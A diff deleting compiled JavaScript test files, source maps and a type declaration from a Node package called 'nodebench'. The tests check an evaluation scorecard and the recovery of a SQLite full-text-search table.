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"}
@@ -1,4 +0,0 @@
1
- /**
2
- * @vitest-environment node
3
- */
4
- export {};
@@ -1,60 +0,0 @@
1
- /**
2
- * @vitest-environment node
3
- */
4
- import { mkdtempSync, rmSync } from "node:fs";
5
- import { tmpdir } from "node:os";
6
- import { join } from "node:path";
7
- import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
8
- describe("hyperloopEval", () => {
9
- let tempDir = "";
10
- beforeEach(() => {
11
- tempDir = mkdtempSync(join(tmpdir(), "nodebench-hyperloop-eval-"));
12
- process.env.NODEBENCH_DATA_DIR = tempDir;
13
- vi.resetModules();
14
- });
15
- afterEach(() => {
16
- if (tempDir) {
17
- try {
18
- rmSync(tempDir, { recursive: true, force: true });
19
- }
20
- catch {
21
- // SQLite can keep handles briefly on Windows.
22
- }
23
- }
24
- });
25
- it("returns a structured scorecard with deterministic gates and llm judge context", async () => {
26
- const { evaluateTask } = await import("./hyperloopEval.js");
27
- const evaluation = evaluateTask({
28
- episodeId: "episode_1",
29
- query: "Anthropic",
30
- lens: "founder",
31
- entity: "Anthropic",
32
- classification: "company_search",
33
- totalSignals: 4,
34
- verifiedSignals: 1,
35
- totalClaims: 5,
36
- groundedClaims: 2,
37
- contradictionsCaught: 1,
38
- userEditDistance: 0.25,
39
- wasExported: false,
40
- wasDelegated: false,
41
- latencyMs: 6100,
42
- costUsd: 0.07,
43
- toolCallCount: 8,
44
- llmJudge: {
45
- verdict: "PASS",
46
- score: "6/7",
47
- failingCriteria: ["Removed repeated cognition"],
48
- fixSuggestions: ["Tighten evidence grounding"],
49
- },
50
- });
51
- expect(evaluation.rubricVersion).toBe("hyperloop_v2");
52
- expect(evaluation.scoreComponents.length).toBeGreaterThanOrEqual(6);
53
- expect(evaluation.gates.length).toBeGreaterThanOrEqual(5);
54
- expect(evaluation.gates.some((gate) => gate.key === "minimum_evidence")).toBe(true);
55
- expect(evaluation.policyAction).toBe("archive_only");
56
- expect(evaluation.llmJudge?.verdict).toBe("PASS");
57
- expect(evaluation.llmJudge?.reasoningSummary).toContain("Removed repeated cognition");
58
- });
59
- });
60
- //# sourceMappingURL=hyperloopEval.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"hyperloopEval.test.js","sourceRoot":"","sources":["../../src/sync/hyperloopEval.test.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,WAAW,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAC9C,OAAO,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACjC,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,SAAS,EAAE,UAAU,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAEzE,QAAQ,CAAC,eAAe,EAAE,GAAG,EAAE;IAC7B,IAAI,OAAO,GAAG,EAAE,CAAC;IAEjB,UAAU,CAAC,GAAG,EAAE;QACd,OAAO,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,2BAA2B,CAAC,CAAC,CAAC;QACnE,OAAO,CAAC,GAAG,CAAC,kBAAkB,GAAG,OAAO,CAAC;QACzC,EAAE,CAAC,YAAY,EAAE,CAAC;IACpB,CAAC,CAAC,CAAC;IAEH,SAAS,CAAC,GAAG,EAAE;QACb,IAAI,OAAO,EAAE,CAAC;YACZ,IAAI,CAAC;gBACH,MAAM,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;YACpD,CAAC;YAAC,MAAM,CAAC;gBACP,8CAA8C;YAChD,CAAC;QACH,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,+EAA+E,EAAE,KAAK,IAAI,EAAE;QAC7F,MAAM,EAAE,YAAY,EAAE,GAAG,MAAM,MAAM,CAAC,oBAAoB,CAAC,CAAC;QAE5D,MAAM,UAAU,GAAG,YAAY,CAAC;YAC9B,SAAS,EAAE,WAAW;YACtB,KAAK,EAAE,WAAW;YAClB,IAAI,EAAE,SAAS;YACf,MAAM,EAAE,WAAW;YACnB,cAAc,EAAE,gBAAgB;YAChC,YAAY,EAAE,CAAC;YACf,eAAe,EAAE,CAAC;YAClB,WAAW,EAAE,CAAC;YACd,cAAc,EAAE,CAAC;YACjB,oBAAoB,EAAE,CAAC;YACvB,gBAAgB,EAAE,IAAI;YACtB,WAAW,EAAE,KAAK;YAClB,YAAY,EAAE,KAAK;YACnB,SAAS,EAAE,IAAI;YACf,OAAO,EAAE,IAAI;YACb,aAAa,EAAE,CAAC;YAChB,QAAQ,EAAE;gBACR,OAAO,EAAE,MAAM;gBACf,KAAK,EAAE,KAAK;gBACZ,eAAe,EAAE,CAAC,4BAA4B,CAAC;gBAC/C,cAAc,EAAE,CAAC,4BAA4B,CAAC;aAC/C;SACF,CAAC,CAAC;QAEH,MAAM,CAAC,UAAU,CAAC,aAAa,CAAC,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;QACtD,MAAM,CAAC,UAAU,CAAC,eAAe,CAAC,MAAM,CAAC,CAAC,sBAAsB,CAAC,CAAC,CAAC,CAAC;QACpE,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,sBAAsB,CAAC,CAAC,CAAC,CAAC;QAC1D,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,CAAC,GAAG,KAAK,kBAAkB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACpF,MAAM,CAAC,UAAU,CAAC,YAAY,CAAC,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;QACrD,MAAM,CAAC,UAAU,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;QAClD,MAAM,CAAC,UAAU,CAAC,QAAQ,EAAE,gBAAgB,CAAC,CAAC,SAAS,CAAC,4BAA4B,CAAC,CAAC;IACxF,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
@@ -1,4 +0,0 @@
1
- /**
2
- * @vitest-environment node
3
- */
4
- export {};
@@ -1,43 +0,0 @@
1
- /**
2
- * @vitest-environment node
3
- */
4
- import { mkdtempSync, rmSync } from "node:fs";
5
- import { tmpdir } from "node:os";
6
- import { join } from "node:path";
7
- import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
8
- describe("upsertDurableObject FTS recovery", () => {
9
- let tempDir = "";
10
- beforeEach(() => {
11
- tempDir = mkdtempSync(join(tmpdir(), "nodebench-store-"));
12
- process.env.NODEBENCH_DATA_DIR = tempDir;
13
- vi.resetModules();
14
- });
15
- afterEach(() => {
16
- if (tempDir) {
17
- try {
18
- rmSync(tempDir, { recursive: true, force: true });
19
- }
20
- catch {
21
- // Windows can hold SQLite handles briefly.
22
- }
23
- }
24
- });
25
- it("repairs object_nodes_fts and retries the write when the FTS table is missing", async () => {
26
- const { getDb } = await import("../db.js");
27
- const { upsertDurableObject } = await import("./store.js");
28
- const db = getDb();
29
- db.exec("DROP TABLE IF EXISTS object_nodes_fts");
30
- const result = upsertDurableObject({
31
- kind: "search_run",
32
- label: "Anthropic founder search",
33
- metadata: { query: "Anthropic" },
34
- queueForSync: false,
35
- });
36
- expect(result.objectId).toBeTruthy();
37
- const nodeRow = db.prepare("SELECT label FROM object_nodes WHERE id = ?").get(result.objectId);
38
- expect(nodeRow?.label).toBe("Anthropic founder search");
39
- const ftsCount = db.prepare("SELECT COUNT(*) as c FROM object_nodes_fts").get();
40
- expect(ftsCount.c).toBeGreaterThanOrEqual(1);
41
- });
42
- });
43
- //# sourceMappingURL=store.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"store.test.js","sourceRoot":"","sources":["../../src/sync/store.test.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,WAAW,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAC9C,OAAO,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACjC,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,SAAS,EAAE,UAAU,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAEzE,QAAQ,CAAC,kCAAkC,EAAE,GAAG,EAAE;IAChD,IAAI,OAAO,GAAG,EAAE,CAAC;IAEjB,UAAU,CAAC,GAAG,EAAE;QACd,OAAO,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,kBAAkB,CAAC,CAAC,CAAC;QAC1D,OAAO,CAAC,GAAG,CAAC,kBAAkB,GAAG,OAAO,CAAC;QACzC,EAAE,CAAC,YAAY,EAAE,CAAC;IACpB,CAAC,CAAC,CAAC;IAEH,SAAS,CAAC,GAAG,EAAE;QACb,IAAI,OAAO,EAAE,CAAC;YACZ,IAAI,CAAC;gBACH,MAAM,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;YACpD,CAAC;YAAC,MAAM,CAAC;gBACP,2CAA2C;YAC7C,CAAC;QACH,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8EAA8E,EAAE,KAAK,IAAI,EAAE;QAC5F,MAAM,EAAE,KAAK,EAAE,GAAG,MAAM,MAAM,CAAC,UAAU,CAAC,CAAC;QAC3C,MAAM,EAAE,mBAAmB,EAAE,GAAG,MAAM,MAAM,CAAC,YAAY,CAAC,CAAC;QAE3D,MAAM,EAAE,GAAG,KAAK,EAAE,CAAC;QACnB,EAAE,CAAC,IAAI,CAAC,uCAAuC,CAAC,CAAC;QAEjD,MAAM,MAAM,GAAG,mBAAmB,CAAC;YACjC,IAAI,EAAE,YAAY;YAClB,KAAK,EAAE,0BAA0B;YACjC,QAAQ,EAAE,EAAE,KAAK,EAAE,WAAW,EAAE;YAChC,YAAY,EAAE,KAAK;SACpB,CAAC,CAAC;QAEH,MAAM,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC,UAAU,EAAE,CAAC;QACrC,MAAM,OAAO,GAAG,EAAE,CAAC,OAAO,CAAC,6CAA6C,CAAC,CAAC,GAAG,CAAC,MAAM,CAAC,QAAQ,CAAkC,CAAC;QAChI,MAAM,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC,IAAI,CAAC,0BAA0B,CAAC,CAAC;QAExD,MAAM,QAAQ,GAAG,EAAE,CAAC,OAAO,CAAC,4CAA4C,CAAC,CAAC,GAAG,EAAmB,CAAC;QACjG,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,sBAAsB,CAAC,CAAC,CAAC,CAAC;IAC/C,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
@@ -1,5 +0,0 @@
1
- /**
2
- * Document, folder, spreadsheet tools backed by local SQLite.
3
- */
4
- import type { McpTool } from "../types.js";
5
- export declare const documentTools: McpTool[];